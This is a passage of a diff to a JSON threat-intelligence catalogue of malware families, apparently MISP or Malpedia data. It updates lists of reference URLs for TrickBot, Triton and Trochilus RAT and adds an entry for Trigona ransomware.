"https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/", - "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", - "https://www.secdata.com/the-trickbot-and-mikrotik/", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/", - "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", - "https://threatpost.com/trickbot-amazon-paypal-top-brands/178483/", - "https://www.cert.pl/en/news/single/detricking-trickbot-loader/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", - "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", - "https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", - "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", - "https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows", - "https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/", - "https://osint.fans/service-nsw-russia-association", - "https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/", - "https://blog.cyberint.com/ryuk-crypto-ransomware", - "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://community.riskiq.com/article/04ec92f4", - "https://blog.lumen.com/a-look-inside-the-trickbot-botnet/", - "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", - "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQ0.html", - "https://labs.sentinelone.com/building-a-custom-malware-analysis-lab-environment/", - "https://www.infosecurity-magazine.com/blogs/trickbot-mikrotik-connection/", - "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.mandiant.com/media/12596/download", - "https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf", - "https://redcanary.com/resources/webinars/deep-dive-process-injection/", - "https://share.vx-underground.org/Conti/", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html", - "https://blog.morphisec.com/trickbot-uses-a-new-windows-10-uac-bypass", - "https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html", - "https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", - "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", - "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", - "https://www.bleepingcomputer.com/news/security/trickbot-now-uses-a-windows-10-uac-bypass-to-evade-detection/", - "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", - "https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", - "https://cyber.wtf/2020/08/31/trickbot-rdpscandll-password-transof/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", - "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", - "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/", - "https://www.wired.com/story/trickbot-malware-group-internal-messages/", - "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://www.bleepingcomputer.com/news/security/trickbot-malware-mistakenly-warns-victims-that-they-are-infected/", - "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", - "https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-reversing-the-dropper-variant/", - "https://hurricanelabs.com/splunk-tutorials/splunking-with-sysmon-part-4-detecting-trickbot/", - "http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot", - "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", - "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", - "https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412", - "https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", - "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", - "https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/", - "https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", - "https://www.wired.co.uk/article/trickbot-malware-group-internal-messages", - "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", - "https://public.intel471.com/blog/global-trickbot-disruption-operation-shows-promise/", - "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", - "https://www.joesecurity.org/blog/498839998833561473", - "https://intel471.com/blog/conti-leaks-ransomware-development", - "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html", - "https://cofenselabs.com/all-you-need-is-text-second-wave/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/VK_Intel/status/1328578336021483522", - "https://twitter.com/anthomsec/status/1321865315513520128", - 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"https://www.welivesecurity.com/wp-content/uploads/2021/02/ESET_Threat_Report_Q42020.pdf", - "https://therecord.media/trickbot-new-attacks-see-the-botnet-deploy-new-banking-module-new-ransomware/", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/", - "https://www.youtube.com/watch?v=Brx4cygfmg8", + "https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf", + "https://labs.vipre.com/trickbots-tricks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html", - "https://www.justice.gov/opa/pr/russian-national-extradited-united-states-face-charges-alleged-role-cybercriminal", - "https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/", - "https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/", - "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", - "https://www.secureworks.com/research/threat-profiles/gold-blackburn", - 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"https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://community.riskiq.com/article/298c9fc9", - "https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/", - "https://www.splunk.com/en_us/blog/security/detecting-trickbots.html", - "https://intel471.com/blog/privateloader-malware", - "https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity", - 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"https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/", + "https://www.wired.com/story/trickbot-malware-group-internal-messages/", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://inquest.net/blog/2019/08/26/TrickBot-Memory-Analysis", + "https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/", + "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html", + "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://www.secureworks.com/research/threat-profiles/gold-ulrick", + "https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://osint.fans/service-nsw-russia-association", + "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html", + "https://securelist.com/trickbot-module-descriptions/104603/", + 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"https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/", + "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.ic3.gov/Media/News/2022/220120.pdf", + "https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows", + "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQ0.html", + "https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/", + "https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/", + 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"https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://threatpost.com/trickbot-amazon-paypal-top-brands/178483/", + "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/", + "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf", + "https://intel471.com/blog/privateloader-malware", + "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", + "https://twitter.com/anthomsec/status/1321865315513520128", + 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"https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", + "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", + "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", + "https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/", + "https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/", + "https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.justice.gov/opa/pr/latvian-national-charged-alleged-role-transnational-cybercrime-organization", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://blog.vincss.net/2021/10/re025-trickbot-many-tricks.html", + "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", + "https://cyber.wtf/2020/08/31/trickbot-rdpscandll-password-transof/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/17/trickbots-latest-trick.html", + "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.youtube.com/watch?v=lTywPmZEU1A", + "https://therecord.media/us-arrests-latvian-woman-who-worked-on-trickbot-malware-source-code/", + "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/", + "https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity", + "http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html", + "https://therecord.media/trickbot-new-attacks-see-the-botnet-deploy-new-banking-module-new-ransomware/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://intel471.com/blog/conti-leaks-ransomware-development", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html", + "https://www.wired.co.uk/article/trickbot-malware-group-internal-messages", + "https://www.justice.gov/opa/press-release/file/1445241/download", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/22/trickbot-fake-ips-part2.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", + "https://unit42.paloaltonetworks.com/sandbox-evasion-memory-detection/", + "https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/", + "https://public.intel471.com/blog/global-trickbot-disruption-operation-shows-promise/", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/", + "https://www.intrinsec.com/deobfuscating-hunting-ostap/", + "https://www.slideshare.net/proidea_conferences/inside-cybercrime-groups-harvesting-active-directory-for-fun-and-profit-vitali-kremez", + "https://labs.sentinelone.com/revealing-the-trick-a-deep-dive-into-trickloader-obfuscation/", + "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", + "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/", + "https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/", + "https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms", + "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", + "https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://www.bleepingcomputer.com/news/security/malware-tries-to-trump-security-software-with-potus-impeachment/", + "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://unit42.paloaltonetworks.com/goodbye-mworm-hello-nworm-trickbot-updates-propagation-module/", + "https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader", + "https://www.bleepingcomputer.com/news/security/trickbot-now-uses-a-windows-10-uac-bypass-to-evade-detection/", + "https://blog.fraudwatchinternational.com/malware/trickbot-malware-works", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", + "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://share.vx-underground.org/Conti/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", + "https://www.youtube.com/watch?v=Brx4cygfmg8", + "https://duo.com/decipher/trickbot-up-to-its-old-tricks", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://twitter.com/VK_Intel/status/1328578336021483522", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/", + "https://public.intel471.com/blog/partners-in-crime-north-koreans-and-elite-russian-speaking-cybercriminals/", + "https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://blog.lumen.com/a-look-inside-the-trickbot-botnet/", + "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", + "https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/" ], "synonyms": [ "TheTrick", @@ -45529,29 +47974,44 @@ "uuid": "c824813c-9c79-4917-829a-af72529e8329", "value": "TrickBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.trigona", + "https://unit42.paloaltonetworks.com/trigona-ransomware-update/", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-trigona-ransomware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d5e900b0-5a6d-4e29-ab64-fa72863198a1", + "value": "Trigona" + }, { "description": "Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.triton", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1538425180.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", - "https://www.eenews.net/stories/1060123327/", - "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", - "https://dragos.com/blog/trisis/TRISIS-01.pdf", - "https://www.nozominetworks.com//downloads/US/Nozomi-Networks-TRITON-The-First-SIS-Cyberattack.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.ic3.gov/Media/News/2022/220325.pdf", - "https://home.treasury.gov/news/press-releases/sm1162", - "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://github.com/ICSrepo/TRISIS-TRITON-HATMAN", - "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security" + "https://www.eenews.net/stories/1060123327/", + "https://dragos.com/blog/trisis/TRISIS-01.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1538425180.pdf", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", + "https://www.nozominetworks.com//downloads/US/Nozomi-Networks-TRITON-The-First-SIS-Cyberattack.pdf", + "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", + "https://www.ic3.gov/Media/News/2022/220325.pdf", + "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", + "https://github.com/ICSrepo/TRISIS-TRITON-HATMAN", + "https://home.treasury.gov/news/press-releases/sm1162", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf" ], "synonyms": [ "HatMan", @@ -45567,20 +48027,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", - "https://github.com/m0n0ph1/malware-1/tree/master/Trochilus", + "https://github.com/5loyd/trochilus/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", 